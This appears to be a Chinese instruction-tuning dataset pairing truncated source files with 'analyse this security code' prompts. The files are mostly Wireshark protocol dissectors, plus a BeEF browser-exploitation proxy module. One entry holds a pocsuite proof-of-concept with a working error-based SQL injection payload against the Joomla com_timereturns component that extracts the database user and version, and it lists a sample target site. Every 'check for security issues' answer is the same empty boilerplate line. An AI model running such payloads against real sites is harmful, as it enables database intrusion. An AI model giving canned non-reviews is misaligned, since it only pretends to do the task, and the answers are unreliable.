Instruction: 请分析这段安全相关的代码

Output:
安全代码分析：

/* packet-hislip.c
 * Routines for High-Speed LAN Instrument Protocol dissection
 * by Marcel Essig <essig.marcel@gmail.com>
 * and Guido Kiener <guido.kiener@rohde-schwarz.com>
 * Copyright (C) 2014 Rohde & Schwarz GmbH & Co. KG
 *
 * Wireshark - Network traffic analyzer
 * By Gerald Combs <gerald@wireshark.org>
 * Copyright 1998 Gerald Combs
 *
 * SPDX-License-Identifier: GPL-2.0-or-later
 */

/*  See http://ivifoundation.org/downloads/Class%20Specifications/IVI-6.1_HiSLIP-1.1-2011-02-24.pdf
    IVI VI-6.1: High-Speed LAN Instrument Protocol (HiSLIP)-*/

#include "config.h"

#include <epan/packet.h>
#include <epan/prefs.h>
#include <epan/expert.h>
#include "packet-tcp.h"

#define PROTO_TAG_HiSLIP    "HiSLIP"
#define FRAME_HEADER_LEN    16
#define MAX_DATA_SHOW_SIZE  60

/*Messagetypes*/
#define HISLIP_INITIALIZE                       0
#define HISLIP_INITIALIZERESPONSE               1
#define HISLIP_FATALERROR                       2
#define HISLIP_ERROR                            3
#define HISLIP_ASYNCLOCK                        4
#define HISLIP_ASYNCLOCK_RESPONSE               5
#define HISLIP_DATA                             6
#define HISLIP_DATAEND                          7
#define HISLIP_DEVICECLEARCOMPLETE              8
#define HISLIP_DEVICECLEARACKNOWLEDGE           9
#define HISLIP_ASYNCREMOTELOCALCONTROL         10
#define HISLIP_ASYNCREMOTELOCALRESPONSE        11
#define HISLIP_TRIGGER                         12
#define HISLIP_INTERRUPTED                     13
#define HISLIP_ASYNCINTERRUPTED                14
#define HISLIP_ASYNCMAXIMUMMESSAGESIZE         15
#define HISLIP_ASYNCMAXIMUMMESSAGESIZERESPONSE 16
#define HISLIP_ASYNCINITIALIZE                 17
#define HISLIP_ASYNCINITIALIZERESPONSE         18
#define HISLIP_ASYNCDEVICECLEAR                19
#define HISLIP_ASYNCSERVICEREQUEST             20
#define HISLIP_ASYNCSTATUSQUERY                21
#define HISLIP_ASYNCSTATUSRESPONSE             22
#define HISLIP_ASYNCDEVICECLEARACKNOWLEDGE     23...


Instruction: 检查这段代码是否存在安全问题

Input:
/* packet-hislip.c
 * Routines for High-Speed LAN Instrument Protocol dissection
 * by Marcel Essig <essig.marcel@gmail.com>
 * and Guido Kiener <guido.kiener@rohde-schwarz.com>
 * Copyright (C) 2014 Rohde & Schwarz GmbH & Co. KG
 *
 * Wireshark - Network traffic analyzer
 * By Gerald Combs <gerald@wireshark.org>
 * Copyright 1998 Gerald Combs
 *
 * SPDX-License-Identifier: GPL-2.0-or-later
 */

/*  See http://ivifoundation.org/downloads/Class%20Specifications/IVI-6.1_HiSLIP-1.1-2011-02-24.pdf
    IVI VI-6.1: High-Speed LAN Instrument Protocol (HiSLIP)-*/

#include "config.h"

#include <epan/packet.h>
#include <epan/prefs.h>
#include <epan/expert.h>
#include "packet-tcp.h"

#define PROTO_TAG_HiSLIP    "HiSLIP"
#define FRAME_HEADER_LEN    16
#define MAX_DATA_SHOW_SIZE  60

/*Messagetypes*/
#define HISLIP_INITIALIZE                       0
#define HISLIP_INITIALIZERESPONSE               1
#define HISLIP_FATALERROR                       2
#define HISLIP_ERROR                            3
#define HISLIP_ASYNCLOCK                        4
#define HISLIP_ASYNCLOCK_RESPONSE               5
#define HISLIP_DATA                             6
#define HISLIP_DATAEND                          7
#define HISLIP_DEVICECLEARCOMPLETE              8
#define HISLIP_DEVICECLEARACKNOWLEDGE           9
#define HISLIP_ASYNCREMOTELOCALCONTROL         10
#define HISLIP_ASYNCREMOTELOCALRESPONSE        11
#define HISLIP_TRIGGER                         12
#define HISLIP_INTERRUPTED                     13
#define HISLIP_ASYNCINTERRUPTED                14
#define HISLIP_ASYNCMAXIMUMMESSAGESIZE         15
#define HISLIP_ASYNCMAXIMUMMESSAGESIZERESPONSE 16
#define HISLIP_ASYNCINITIALIZE                 17
#define HISLIP_ASYNCINITIALIZERESPONSE         18
#define HISLIP_ASYNCDEVICECLEAR                19
#define HISLIP_ASYNCSERVICEREQUEST             20
#define HISLIP_ASYNCSTATUSQUERY                21
#define HISLIP_ASYNCSTATUSRESPONSE             22
#define HISLIP_ASYNCDEVICECLEARACKNOWLEDGE     23...

Output: 代码安全检查完成，建议遵循安全编码规范。


Instruction: 请分析这段安全相关的代码

Output:
安全代码分析：

/* packet-dcerpc-rs_prop_pgo.c
 *
 * Routines for rs_prop_pgo dissection
 * Copyright 2004, Jaime Fournier <jaime.fournier@hush.com>
 * This information is based off the released idl files from opengroup.
 * ftp://ftp.opengroup.org/pub/dce122/dce/src/security.tar.gz security/idl/rs_prop_pgo.idl
 *
 * Wireshark - Network traffic analyzer
 * By Gerald Combs <gerald@wireshark.org>
 * Copyright 1998 Gerald Combs
 *
 * SPDX-License-Identifier: GPL-2.0-or-later
 */

#include "config.h"

#include <epan/packet.h>
#include "packet-dcerpc.h"

void proto_register_rs_prop_pgo (void);
void proto_reg_handoff_rs_prop_pgo (void);

static int proto_rs_prop_pgo = -1;
static int hf_rs_prop_pgo_opnum = -1;

static gint ett_rs_prop_pgo = -1;
static e_guid_t uuid_rs_prop_pgo =
  { 0xc23626e8, 0xde34, 0x11ca, {0x8c, 0xbc, 0x08, 0x00, 0x1e, 0x03, 0x94,
                                 0xc7} };

static guint16 ver_rs_prop_pgo = 1;

static dcerpc_sub_dissector rs_prop_pgo_dissectors[] = {
  {0, "add",               NULL, NULL},
  {1, "rename",            NULL, NULL},
  {2, "replace",           NULL, NULL},
  {3, "add_member",        NULL, NULL},
  {4, "delete_member",     NULL, NULL},
  {5, "add_member_global", NULL, NULL},
  {0, NULL, NULL, NULL}
};

void
proto_register_rs_prop_pgo (void)
{
  static hf_register_info hf[] = {
    {&hf_rs_prop_pgo_opnum,
     {"Operation", "rs_prop_pgo.opnum", FT_UINT16, BASE_DEC, NULL, 0x0,
      NULL, HFILL}},
  };

  static gint *ett[] = {
    &ett_rs_prop_pgo,
  };
  proto_rs_prop_pgo =
    proto_register_protocol
    ("DCE/RPC Registry server propagation interface - PGO items",
     "rs_prop_pgo", "rs_prop_pgo");
  proto_register_field_array (proto_rs_prop_pgo, hf, array_length (hf));
  proto_register_subtree_array (ett, array_length (ett));
}

void
proto_reg_handoff_rs_prop_pgo (void)
{
  /* Register the protocol as dcerpc */
  dcerpc_init_uuid (proto_rs_prop_pgo, ett_rs_prop_pgo, &uuid_rs_prop_pgo,
                    ver_rs_prop_pgo, rs_prop_pgo_di...


Instruction: 检查这段代码是否存在安全问题

Input:
/* packet-dcerpc-rs_prop_pgo.c
 *
 * Routines for rs_prop_pgo dissection
 * Copyright 2004, Jaime Fournier <jaime.fournier@hush.com>
 * This information is based off the released idl files from opengroup.
 * ftp://ftp.opengroup.org/pub/dce122/dce/src/security.tar.gz security/idl/rs_prop_pgo.idl
 *
 * Wireshark - Network traffic analyzer
 * By Gerald Combs <gerald@wireshark.org>
 * Copyright 1998 Gerald Combs
 *
 * SPDX-License-Identifier: GPL-2.0-or-later
 */

#include "config.h"

#include <epan/packet.h>
#include "packet-dcerpc.h"

void proto_register_rs_prop_pgo (void);
void proto_reg_handoff_rs_prop_pgo (void);

static int proto_rs_prop_pgo = -1;
static int hf_rs_prop_pgo_opnum = -1;

static gint ett_rs_prop_pgo = -1;
static e_guid_t uuid_rs_prop_pgo =
  { 0xc23626e8, 0xde34, 0x11ca, {0x8c, 0xbc, 0x08, 0x00, 0x1e, 0x03, 0x94,
                                 0xc7} };

static guint16 ver_rs_prop_pgo = 1;

static dcerpc_sub_dissector rs_prop_pgo_dissectors[] = {
  {0, "add",               NULL, NULL},
  {1, "rename",            NULL, NULL},
  {2, "replace",           NULL, NULL},
  {3, "add_member",        NULL, NULL},
  {4, "delete_member",     NULL, NULL},
  {5, "add_member_global", NULL, NULL},
  {0, NULL, NULL, NULL}
};

void
proto_register_rs_prop_pgo (void)
{
  static hf_register_info hf[] = {
    {&hf_rs_prop_pgo_opnum,
     {"Operation", "rs_prop_pgo.opnum", FT_UINT16, BASE_DEC, NULL, 0x0,
      NULL, HFILL}},
  };

  static gint *ett[] = {
    &ett_rs_prop_pgo,
  };
  proto_rs_prop_pgo =
    proto_register_protocol
    ("DCE/RPC Registry server propagation interface - PGO items",
     "rs_prop_pgo", "rs_prop_pgo");
  proto_register_field_array (proto_rs_prop_pgo, hf, array_length (hf));
  proto_register_subtree_array (ett, array_length (ett));
}

void
proto_reg_handoff_rs_prop_pgo (void)
{
  /* Register the protocol as dcerpc */
  dcerpc_init_uuid (proto_rs_prop_pgo, ett_rs_prop_pgo, &uuid_rs_prop_pgo,
                    ver_rs_prop_pgo, rs_prop_pgo_di...

Output: 代码安全检查完成，建议遵循安全编码规范。


Instruction: 请分析这段安全相关的代码

Output:
安全代码分析：

/* packet-mpeg-pmt.c
 * Routines for MPEG2 (ISO/ISO 13818-1) Program Map Table (PMT) dissection
 * Copyright 2012, Guy Martin <gmsoft@tuxicoman.be>
 *
 * Wireshark - Network traffic analyzer
 * By Gerald Combs <gerald@wireshark.org>
 * Copyright 1998 Gerald Combs
 *
 * SPDX-License-Identifier: GPL-2.0-or-later
 */

#include "config.h"

#include <epan/packet.h>
#include "packet-mp2t.h"
#include "packet-mpeg-sect.h"
#include "packet-mpeg-descriptor.h"

void proto_register_mpeg_pmt(void);
void proto_reg_handoff_mpeg_pmt(void);

static int proto_mpeg_pmt = -1;
static int hf_mpeg_pmt_program_number = -1;
static int hf_mpeg_pmt_reserved1 = -1;
static int hf_mpeg_pmt_version_number = -1;
static int hf_mpeg_pmt_current_next_indicator = -1;
static int hf_mpeg_pmt_section_number = -1;
static int hf_mpeg_pmt_last_section_number = -1;
static int hf_mpeg_pmt_reserved2 = -1;
static int hf_mpeg_pmt_pcr_pid = -1;
static int hf_mpeg_pmt_reserved3 = -1;
static int hf_mpeg_pmt_program_info_length = -1;

static int hf_mpeg_pmt_stream_type = -1;
static int hf_mpeg_pmt_stream_reserved1 = -1;
static int hf_mpeg_pmt_stream_elementary_pid = -1;
static int hf_mpeg_pmt_stream_reserved2 = -1;
static int hf_mpeg_pmt_stream_es_info_length = -1;

static gint ett_mpeg_pmt = -1;
static gint ett_mpeg_pmt_stream = -1;

static dissector_handle_t mpeg_pmt_handle;

#define MPEG_PMT_RESERVED1_MASK                   0xC0
#define MPEG_PMT_VERSION_NUMBER_MASK              0x3E
#define MPEG_PMT_CURRENT_NEXT_INDICATOR_MASK      0x01

#define MPEG_PMT_RESERVED2_MASK                 0xE000
#define MPEG_PMT_PCR_PID_MASK                   0x1FFF
#define MPEG_PMT_RESERVED3_MASK                 0xF000
#define MPEG_PMT_PROGRAM_INFO_LENGTH_MASK       0x0FFF

#define MPEG_PMT_STREAM_RESERVED1_MASK          0xE000
#define MPEG_PMT_STREAM_ELEMENTARY_PID_MASK     0x1FFF

#define MPEG_PMT_STREAM_RESERVED2_MASK          0xF000
#define MPEG_PMT_STREAM_ES_INFO_LENGTH_MASK     0x0FFF

static const value_string mpeg_pmt_stre...


Instruction: 检查这段代码是否存在安全问题

Input:
/* packet-mpeg-pmt.c
 * Routines for MPEG2 (ISO/ISO 13818-1) Program Map Table (PMT) dissection
 * Copyright 2012, Guy Martin <gmsoft@tuxicoman.be>
 *
 * Wireshark - Network traffic analyzer
 * By Gerald Combs <gerald@wireshark.org>
 * Copyright 1998 Gerald Combs
 *
 * SPDX-License-Identifier: GPL-2.0-or-later
 */

#include "config.h"

#include <epan/packet.h>
#include "packet-mp2t.h"
#include "packet-mpeg-sect.h"
#include "packet-mpeg-descriptor.h"

void proto_register_mpeg_pmt(void);
void proto_reg_handoff_mpeg_pmt(void);

static int proto_mpeg_pmt = -1;
static int hf_mpeg_pmt_program_number = -1;
static int hf_mpeg_pmt_reserved1 = -1;
static int hf_mpeg_pmt_version_number = -1;
static int hf_mpeg_pmt_current_next_indicator = -1;
static int hf_mpeg_pmt_section_number = -1;
static int hf_mpeg_pmt_last_section_number = -1;
static int hf_mpeg_pmt_reserved2 = -1;
static int hf_mpeg_pmt_pcr_pid = -1;
static int hf_mpeg_pmt_reserved3 = -1;
static int hf_mpeg_pmt_program_info_length = -1;

static int hf_mpeg_pmt_stream_type = -1;
static int hf_mpeg_pmt_stream_reserved1 = -1;
static int hf_mpeg_pmt_stream_elementary_pid = -1;
static int hf_mpeg_pmt_stream_reserved2 = -1;
static int hf_mpeg_pmt_stream_es_info_length = -1;

static gint ett_mpeg_pmt = -1;
static gint ett_mpeg_pmt_stream = -1;

static dissector_handle_t mpeg_pmt_handle;

#define MPEG_PMT_RESERVED1_MASK                   0xC0
#define MPEG_PMT_VERSION_NUMBER_MASK              0x3E
#define MPEG_PMT_CURRENT_NEXT_INDICATOR_MASK      0x01

#define MPEG_PMT_RESERVED2_MASK                 0xE000
#define MPEG_PMT_PCR_PID_MASK                   0x1FFF
#define MPEG_PMT_RESERVED3_MASK                 0xF000
#define MPEG_PMT_PROGRAM_INFO_LENGTH_MASK       0x0FFF

#define MPEG_PMT_STREAM_RESERVED1_MASK          0xE000
#define MPEG_PMT_STREAM_ELEMENTARY_PID_MASK     0x1FFF

#define MPEG_PMT_STREAM_RESERVED2_MASK          0xF000
#define MPEG_PMT_STREAM_ES_INFO_LENGTH_MASK     0x0FFF

static const value_string mpeg_pmt_stre...

Output: 代码安全检查完成，建议遵循安全编码规范。


Instruction: 请分析这段安全相关的代码

Output:
安全代码分析：

/* packet-lacp.c
 * Routines for Link Aggregation Control Protocol dissection.
 * IEEE Std 802.1AX-2014 Section 6.4.2.3
 *  Split from IEEE Std 802.3-2005 and named IEEE 802.3ad before that
 *
 * Copyright 2002 Steve Housley <steve_housley@3com.com>
 *
 * Wireshark - Network traffic analyzer
 * By Gerald Combs <gerald@wireshark.org>
 * Copyright 1998 Gerald Combs
 *
 * SPDX-License-Identifier: GPL-2.0-or-later
 */

#include "config.h"

#include <epan/etypes.h>
#include <epan/packet.h>
#include <epan/to_str.h>
#include <epan/expert.h>
#include <epan/slow_protocol_subtypes.h>

/* General declarations */
void proto_register_lacp(void);
void proto_reg_handoff_lacp(void);

static dissector_handle_t lacp_handle;

#define VLACP_MAGIC_LACP 0x01010114
#define VLACP_MAGIC_MARKER 0x02010114

/* TLV Types */
#define LACPDU_TYPE_TERMINATOR			0x00
#define LACPDU_TYPE_ACTOR_INFORMATION		0x01
#define LACPDU_TYPE_PARTNER_INFORMATION		0x02
#define LACPDU_TYPE_COLLECTOR_INFORMATION	0x03

static const value_string lacp_type_vals[] = {
    { LACPDU_TYPE_TERMINATOR,			"Terminator" },
    { LACPDU_TYPE_ACTOR_INFORMATION,		"Actor Information" },
    { LACPDU_TYPE_PARTNER_INFORMATION,		"Partner Information" },
    { LACPDU_TYPE_COLLECTOR_INFORMATION,	"Collector Information" },
    { 0, NULL }
};

/* Actor and Partner Flag bits */
#define LACPDU_FLAGS_ACTIVITY           0x01
#define LACPDU_FLAGS_TIMEOUT            0x02
#define LACPDU_FLAGS_AGGREGATION        0x04
#define LACPDU_FLAGS_SYNC               0x08
#define LACPDU_FLAGS_COLLECTING         0x10
#define LACPDU_FLAGS_DISTRIB            0x20
#define LACPDU_FLAGS_DEFAULTED          0x40
#define LACPDU_FLAGS_EXPIRED            0x80

/* Initialise the protocol and registered fields */
static int proto_lacp = -1;

static int hf_lacp_vlacp_subtype = -1;
static int hf_lacp_version = -1;
static int hf_lacp_tlv_type = -1;
static int hf_lacp_tlv_length = -1;

static int hf_lacp_actor_sysid_priority = -1;
static int hf_lacp_actor_sysid = -1;
stati...


Instruction: 检查这段代码是否存在安全问题

Input:
/* packet-lacp.c
 * Routines for Link Aggregation Control Protocol dissection.
 * IEEE Std 802.1AX-2014 Section 6.4.2.3
 *  Split from IEEE Std 802.3-2005 and named IEEE 802.3ad before that
 *
 * Copyright 2002 Steve Housley <steve_housley@3com.com>
 *
 * Wireshark - Network traffic analyzer
 * By Gerald Combs <gerald@wireshark.org>
 * Copyright 1998 Gerald Combs
 *
 * SPDX-License-Identifier: GPL-2.0-or-later
 */

#include "config.h"

#include <epan/etypes.h>
#include <epan/packet.h>
#include <epan/to_str.h>
#include <epan/expert.h>
#include <epan/slow_protocol_subtypes.h>

/* General declarations */
void proto_register_lacp(void);
void proto_reg_handoff_lacp(void);

static dissector_handle_t lacp_handle;

#define VLACP_MAGIC_LACP 0x01010114
#define VLACP_MAGIC_MARKER 0x02010114

/* TLV Types */
#define LACPDU_TYPE_TERMINATOR			0x00
#define LACPDU_TYPE_ACTOR_INFORMATION		0x01
#define LACPDU_TYPE_PARTNER_INFORMATION		0x02
#define LACPDU_TYPE_COLLECTOR_INFORMATION	0x03

static const value_string lacp_type_vals[] = {
    { LACPDU_TYPE_TERMINATOR,			"Terminator" },
    { LACPDU_TYPE_ACTOR_INFORMATION,		"Actor Information" },
    { LACPDU_TYPE_PARTNER_INFORMATION,		"Partner Information" },
    { LACPDU_TYPE_COLLECTOR_INFORMATION,	"Collector Information" },
    { 0, NULL }
};

/* Actor and Partner Flag bits */
#define LACPDU_FLAGS_ACTIVITY           0x01
#define LACPDU_FLAGS_TIMEOUT            0x02
#define LACPDU_FLAGS_AGGREGATION        0x04
#define LACPDU_FLAGS_SYNC               0x08
#define LACPDU_FLAGS_COLLECTING         0x10
#define LACPDU_FLAGS_DISTRIB            0x20
#define LACPDU_FLAGS_DEFAULTED          0x40
#define LACPDU_FLAGS_EXPIRED            0x80

/* Initialise the protocol and registered fields */
static int proto_lacp = -1;

static int hf_lacp_vlacp_subtype = -1;
static int hf_lacp_version = -1;
static int hf_lacp_tlv_type = -1;
static int hf_lacp_tlv_length = -1;

static int hf_lacp_actor_sysid_priority = -1;
static int hf_lacp_actor_sysid = -1;
stati...

Output: 代码安全检查完成，建议遵循安全编码规范。


Instruction: 请分析这段安全相关的代码

Output:
安全代码分析：

/* packet-pw-oam.c
 *
 * Routines for Pseudowire Status for static pseudowires : RFC 6478
 *
 * (c) Copyright 2012, Krishnamurthy Mayya <krishnamurthymayya@gmail.com>
 *                     Nikitha Malgi <nikitha01@gmail.com>
 *
 * Wireshark - Network traffic analyzer
 * By Gerald Combs <gerald@wireshark.org>
 * Copyright 1998 Gerald Combs
 *
 * SPDX-License-Identifier: GPL-2.0-or-later
 */

#include "config.h"
#include <epan/packet.h>
#include "packet-mpls.h"

void proto_register_pw_oam(void);
void proto_reg_handoff_pw_oam(void);

/* MPLS-TP FM protocol specific variables */
static gint proto_pw_oam             = -1;
static gint ett_pw_oam               = -1;
static gint ett_pw_oam_flags         = -1;
static gint ett_pw_oam_tlv_tree      = -1;

static int hf_pw_oam_tlv_reserved    = -1;
static int hf_pw_oam_tlv_type        = -1;
static int hf_pw_oam_total_tlv_len   = -1;
static int hf_pw_oam_code            = -1;
static int hf_pw_oam_flags           = -1;
static int hf_pw_oam_flags_a         = -1;
static int hf_pw_oam_refresh_timer   = -1;
static int hf_pw_oam_tlv_len         = -1;

static const value_string pw_oam_code[] = {
  {0x00000002, "Local Attachment Circuit(ingress) Receive Fault"},
  {0x00000004, "Local Attachment Circuit(egress) Transmit Fault"},
  {0x00000020, "PW Forwarding Standby"},
  {0x00000040, "Request Switchover to this PW"},
  {0, NULL}
};

/* PW-Status TLV dissector */
static void
dissect_pw_status_tlv (tvbuff_t *tvb, proto_tree *tree, gint offset)
{
  proto_item *ti;
  proto_tree *pw_oam_tlv_tree;

  ti = proto_tree_add_protocol_format (tree, proto_pw_oam, tvb, offset, 8,
                                       "Pseudo-Wire Status TLV");

  if (!tree)
    return;

  pw_oam_tlv_tree = proto_item_add_subtree (ti, ett_pw_oam_tlv_tree);

  proto_tree_add_item (pw_oam_tlv_tree, hf_pw_oam_tlv_reserved, tvb, offset,
                                    2, ENC_BIG_ENDIAN);
  proto_tree_add_item (pw_oam_tlv_tree, hf_pw_oam_tlv_type, tvb, offset,
     ...


Instruction: 检查这段代码是否存在安全问题

Input:
/* packet-pw-oam.c
 *
 * Routines for Pseudowire Status for static pseudowires : RFC 6478
 *
 * (c) Copyright 2012, Krishnamurthy Mayya <krishnamurthymayya@gmail.com>
 *                     Nikitha Malgi <nikitha01@gmail.com>
 *
 * Wireshark - Network traffic analyzer
 * By Gerald Combs <gerald@wireshark.org>
 * Copyright 1998 Gerald Combs
 *
 * SPDX-License-Identifier: GPL-2.0-or-later
 */

#include "config.h"
#include <epan/packet.h>
#include "packet-mpls.h"

void proto_register_pw_oam(void);
void proto_reg_handoff_pw_oam(void);

/* MPLS-TP FM protocol specific variables */
static gint proto_pw_oam             = -1;
static gint ett_pw_oam               = -1;
static gint ett_pw_oam_flags         = -1;
static gint ett_pw_oam_tlv_tree      = -1;

static int hf_pw_oam_tlv_reserved    = -1;
static int hf_pw_oam_tlv_type        = -1;
static int hf_pw_oam_total_tlv_len   = -1;
static int hf_pw_oam_code            = -1;
static int hf_pw_oam_flags           = -1;
static int hf_pw_oam_flags_a         = -1;
static int hf_pw_oam_refresh_timer   = -1;
static int hf_pw_oam_tlv_len         = -1;

static const value_string pw_oam_code[] = {
  {0x00000002, "Local Attachment Circuit(ingress) Receive Fault"},
  {0x00000004, "Local Attachment Circuit(egress) Transmit Fault"},
  {0x00000020, "PW Forwarding Standby"},
  {0x00000040, "Request Switchover to this PW"},
  {0, NULL}
};

/* PW-Status TLV dissector */
static void
dissect_pw_status_tlv (tvbuff_t *tvb, proto_tree *tree, gint offset)
{
  proto_item *ti;
  proto_tree *pw_oam_tlv_tree;

  ti = proto_tree_add_protocol_format (tree, proto_pw_oam, tvb, offset, 8,
                                       "Pseudo-Wire Status TLV");

  if (!tree)
    return;

  pw_oam_tlv_tree = proto_item_add_subtree (ti, ett_pw_oam_tlv_tree);

  proto_tree_add_item (pw_oam_tlv_tree, hf_pw_oam_tlv_reserved, tvb, offset,
                                    2, ENC_BIG_ENDIAN);
  proto_tree_add_item (pw_oam_tlv_tree, hf_pw_oam_tlv_type, tvb, offset,
     ...

Output: 代码安全检查完成，建议遵循安全编码规范。


Instruction: 请分析这段安全相关的代码

Output:
安全代码分析：

#!/usr/bin/env python
# coding: utf-8
from pocsuite.net import req
from pocsuite.poc import POCBase, Output
from pocsuite.utils import register
import re

class TestPOC(POCBase):
    vulID = '72200'  # ssvid
    version = '1.0'
    author = ['kikay']
    vulDate = '2011-11-29'
    createDate = '2016-01-10'
    updateDate = '2016-01-10'
    references = ['http://www.sebug.net/vuldb/ssvid-72200']
    name = 'Joomla Component Time Returns (com_timereturns) 2.0 - SQL Injection'
    appPowerLink = 'http://www.joomla.com'
    appName = 'Joomla Time Returns Component'
    appVersion = '2.0'
    vulType = 'SQL Injection'
    desc = '''
        Joomla!的Time Returns（com_timereturns）组件2.0版本中存在SQL注入漏洞。
        主要是对参数id过滤不严格造成的，远程攻击者可借助id参数执行任意SQL命令。
    '''
    samples = ['http://www.110xo.com/page/service']

    def _attack(self):
        #利用floor回显报错的方式，读取数据库信息
        result = {}
        payload="1' AND (SELECT 1222 FROM(SELECT COUNT(*),"\
        "CONCAT(0x247e7e7e24,user(),0x2a2a2a,version(),0x247e7e7e24,"\
        "FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a) AND 'YLvB'='YLvB"
        exploit="/index.php?option=com_timereturns&view=timereturns&id="
        #提取信息的正则表达式
        pars="\$~~~\$([_a-zA-Z0-9].*)\*\*\*(.*)\$~~~\$"
        #构造访问地址
        vulurl=self.url+exploit+payload
        #自定义的HTTP
        httphead = {
          'User-Agent':'Mozilla/5.0 (Windows NT 6.2; rv:16.0) Gecko/20100101 Firefox/16.0',
          'Accept':'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8',
          'Connection':'keep-alive'
        }
        #尝试访问
        resp=req.get(url=vulurl,headers=httphead,timeout=50)
        #检查
        if 'Duplicate entry' in resp.content:
            #尝试提取信息
            match=re.search(pars,resp.content,re.I|re.M)
            if match:
                #记录数据库信息
                result['DatabaseInfo']={}
                #数据库用户名
                result['DatabaseInfo']['Username']=match.group(1)
                #数据库版本
     ...


Instruction: 请分析这段安全相关的代码

Output:
安全代码分析：

/* extcap-base.c
 * Base function for extcaps
 *
 * Copyright 2015, Dario Lombardo
 *
 * Wireshark - Network traffic analyzer
 * By Gerald Combs <gerald@wireshark.org>
 * Copyright 1998 Gerald Combs
 *
 * SPDX-License-Identifier: GPL-2.0-or-later
 */

#include "config.h"
#define WS_LOG_DOMAIN LOG_DOMAIN_EXTCAP

#include "extcap-base.h"

#include <stdlib.h>
#include <stdint.h>
#include <string.h>
#include <errno.h>
#include <wsutil/wslog.h>

#include <wsutil/ws_assert.h>

#include "ws_attributes.h"

enum extcap_options {
    EXTCAP_BASE_OPTIONS_ENUM
};

typedef struct _extcap_interface
{
    char * interface;
    char * description;

    uint16_t dlt;
    char * dltname;
    char * dltdescription;
} extcap_interface;

typedef struct _extcap_option {
    char * optname;
    char * optdesc;
} extcap_option_t;

static FILE *custom_log = NULL;

/* used to inform to extcap application that end of application is requested */
bool extcap_end_application = false;
/* graceful shutdown callback, can be null */
void (*extcap_graceful_shutdown_cb)(void) = NULL;

static void extcap_init_log_file(const char *filename);

/* Called from signals */
#ifdef _WIN32
static BOOL WINAPI
extcap_exit_from_loop(DWORD dwCtrlType _U_)
#else
static void extcap_exit_from_loop(int signo _U_)
#endif /* _WIN32 */
{
    ws_debug("Exiting from main loop by signal");
    extcap_end_application = true;
    if (extcap_graceful_shutdown_cb != NULL) {
       extcap_graceful_shutdown_cb();
    }
#ifdef _WIN32
    return true;
#endif /* _WIN32 */
}

void extcap_base_register_interface(extcap_parameters * extcap, const char * interface, const char * ifdescription, uint16_t dlt, const char * dltdescription )
{
    extcap_base_register_interface_ext(extcap, interface, ifdescription, dlt, NULL, dltdescription );
}

void extcap_base_register_interface_ext(extcap_parameters * extcap,
        const char * interface, const char * ifdescription,
        uint16_t dlt, const char * dltname, const char * dltdescription ...


Instruction: 检查这段代码是否存在安全问题

Input:
/* extcap-base.c
 * Base function for extcaps
 *
 * Copyright 2015, Dario Lombardo
 *
 * Wireshark - Network traffic analyzer
 * By Gerald Combs <gerald@wireshark.org>
 * Copyright 1998 Gerald Combs
 *
 * SPDX-License-Identifier: GPL-2.0-or-later
 */

#include "config.h"
#define WS_LOG_DOMAIN LOG_DOMAIN_EXTCAP

#include "extcap-base.h"

#include <stdlib.h>
#include <stdint.h>
#include <string.h>
#include <errno.h>
#include <wsutil/wslog.h>

#include <wsutil/ws_assert.h>

#include "ws_attributes.h"

enum extcap_options {
    EXTCAP_BASE_OPTIONS_ENUM
};

typedef struct _extcap_interface
{
    char * interface;
    char * description;

    uint16_t dlt;
    char * dltname;
    char * dltdescription;
} extcap_interface;

typedef struct _extcap_option {
    char * optname;
    char * optdesc;
} extcap_option_t;

static FILE *custom_log = NULL;

/* used to inform to extcap application that end of application is requested */
bool extcap_end_application = false;
/* graceful shutdown callback, can be null */
void (*extcap_graceful_shutdown_cb)(void) = NULL;

static void extcap_init_log_file(const char *filename);

/* Called from signals */
#ifdef _WIN32
static BOOL WINAPI
extcap_exit_from_loop(DWORD dwCtrlType _U_)
#else
static void extcap_exit_from_loop(int signo _U_)
#endif /* _WIN32 */
{
    ws_debug("Exiting from main loop by signal");
    extcap_end_application = true;
    if (extcap_graceful_shutdown_cb != NULL) {
       extcap_graceful_shutdown_cb();
    }
#ifdef _WIN32
    return true;
#endif /* _WIN32 */
}

void extcap_base_register_interface(extcap_parameters * extcap, const char * interface, const char * ifdescription, uint16_t dlt, const char * dltdescription )
{
    extcap_base_register_interface_ext(extcap, interface, ifdescription, dlt, NULL, dltdescription );
}

void extcap_base_register_interface_ext(extcap_parameters * extcap,
        const char * interface, const char * ifdescription,
        uint16_t dlt, const char * dltname, const char * dltdescription ...

Output: 代码安全检查完成，建议遵循安全编码规范。


Instruction: 请分析这段安全相关的代码

Output:
安全代码分析：

#
# Copyright (c) 2006-2023 Wade Alcorn - wade@bindshell.net
# Browser Exploitation Framework (BeEF) - http://beefproject.com
# See the file 'doc/COPYING' for copying permission
#
require 'openssl'

module BeEF
  module Extension
    module Proxy
      class Proxy
        HB = BeEF::Core::Models::HookedBrowser
        H = BeEF::Core::Models::Http
        @response = nil

        # Multi-threaded Tunneling Proxy: listens on host:port configured in extensions/proxy/config.yaml
        # and forwards requests to the hooked browser using the Requester component.
        def initialize
          @conf = BeEF::Core::Configuration.instance
          @proxy_server = TCPServer.new(@conf.get('beef.extension.proxy.address'), @conf.get('beef.extension.proxy.port'))

          # setup proxy for SSL/TLS
          ssl_context = OpenSSL::SSL::SSLContext.new
          # ssl_context.ssl_version = :TLSv1_2

          # load certificate
          begin
            cert_file = @conf.get('beef.extension.proxy.cert')
            cert = File.read(cert_file)
            ssl_context.cert = OpenSSL::X509::Certificate.new(cert)
          rescue StandardError
            print_error "[Proxy] Could not load SSL certificate '#{cert_file}'"
          end

          # load key
          begin
            key_file = @conf.get('beef.extension.proxy.key')
            key = File.read(key_file)
            ssl_context.key = OpenSSL::PKey::RSA.new(key)
          rescue StandardError
            print_error "[Proxy] Could not load SSL key '#{key_file}'"
          end

          ssl_server = OpenSSL::SSL::SSLServer.new(@proxy_server, ssl_context)
          ssl_server.start_immediately = false

          loop do
            ssl_socket = ssl_server.accept
            Thread.new ssl_socket, &method(:handle_request)
          end
        end

        def handle_request(socket)
          request_line = socket.readline

          # HTTP method # defaults to GET
          method = request_line[/^\w+/]

          ...


Instruction: 检查这段代码是否存在安全问题

Input:
#
# Copyright (c) 2006-2023 Wade Alcorn - wade@bindshell.net
# Browser Exploitation Framework (BeEF) - http://beefproject.com
# See the file 'doc/COPYING' for copying permission
#
require 'openssl'

module BeEF
  module Extension
    module Proxy
      class Proxy
